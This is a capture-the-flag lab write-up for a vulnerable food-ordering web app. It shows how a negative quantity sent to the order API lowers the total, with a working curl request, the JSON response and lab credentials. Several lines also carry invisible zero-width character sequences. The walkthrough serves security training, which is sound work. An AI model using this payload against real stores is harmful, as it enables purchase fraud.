Lab 61 — OrderNova — Negative Quantity Price Manipulation

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-26 | Status: Solved Techniques: api_manipulation, business_logic_bypass, negative_quantity_exploitation, server_side_validation_bypass

Summary

Task: E-commerce food ordering platform with wallet balance, premium item costs more than available funds. Solution: Bypassed client-side validation by sending negative quantity via API to offset total price below wallet balance.

Lab 61 — OrderNova — Negative Quantity Price Manipulation — HackAdvisor

Description

OrderNova is an online food ordering platform used by restaurants to manage their digital menus and process customer orders. The platform features a full menu catalog with multiple categories (Burgers, Sides, Drinks, Desserts, and Premium), a shopping cart system, order history tracking, and user accounts with prepaid wallet balances.

There is a special premium item on the menu — the Golden Feast Bundle ($999.99) — that promises an exclusive reward code upon purchase. However, your wallet balance is only $50.00, which is far short of the price.

Your goal is to find a way to obtain the reward code hidden in the Golden Feast Bundle. Look carefully at how the ordering system processes your requests — sometimes the server trusts client input more than it should.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An e-commerce food ordering platform with a premium item ($999.99) containing a reward code. The user has only $50 wallet balance. The goal is to purchase the premium item despite insufficient funds.

Analysis

The application is built on Express/Node.js with client-side cart management stored in localStorage. Key findings:

1. Client-side validation only: The JavaScript in /js/checkout.js restricts quantity to 1-99 using Math.max(1, Math.min(99, val))
2. API endpoint discovered: POST /api/orders accepts JSON body with items array: {"items": [{"id": <item_id>, "quantity": <qty>}]}
3. Server-side gap: The backend does NOT validate that quantity values are positive integers
4. Price calculation vulnerability: Total is calculated as sum(price × quantity) — negative quantities result in negative subtotals ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key item IDs:

• Golden Feast Bundle (ID 17): $999.99
• Classic Burger (ID 1): $12.99

Solution

Step 1: Reconnaissance

Logged in with provided credentials and explored the application structure. Found the checkout API endpoint by examining /js/checkout.js.

Step 2: Calculate Required Offset

To bring the total under $50:

• Golden Feast Bundle: $999.99 × 1 = $999.99
• Need to offset at least $949.99
• Using Classic Burger at $12.99: need at least 74 negative burgers
• $12.99 × 75 = $974.25 offset ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Final calculation:

• $999.99 - $974.25 = $25.74 (under $50 wallet balance)

Step 3: Exploit

Bypassed client-side validation by sending the request directly via curl:

 bash read-only • copy allowed Copy
curl -s -b cookies.txt -X POST "https://[target]/api/orders" \
  -H "Content-Type: application/json" \
  -d '{"items":[{"id":17,"quantity":1},{"id":1,"quantity":-75}]}'

Step 4: Result

The server accepted the order and returned the reward code:

 json read-only • copy allowed Copy
{
  "success": true,
  "order_id": 24,
  "total": 25.74,
  "rewards": [
    {
      "item": "Golden Feast Bundle",
      "reward_code": "FLAG{REDACTED}"
    }
  ]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍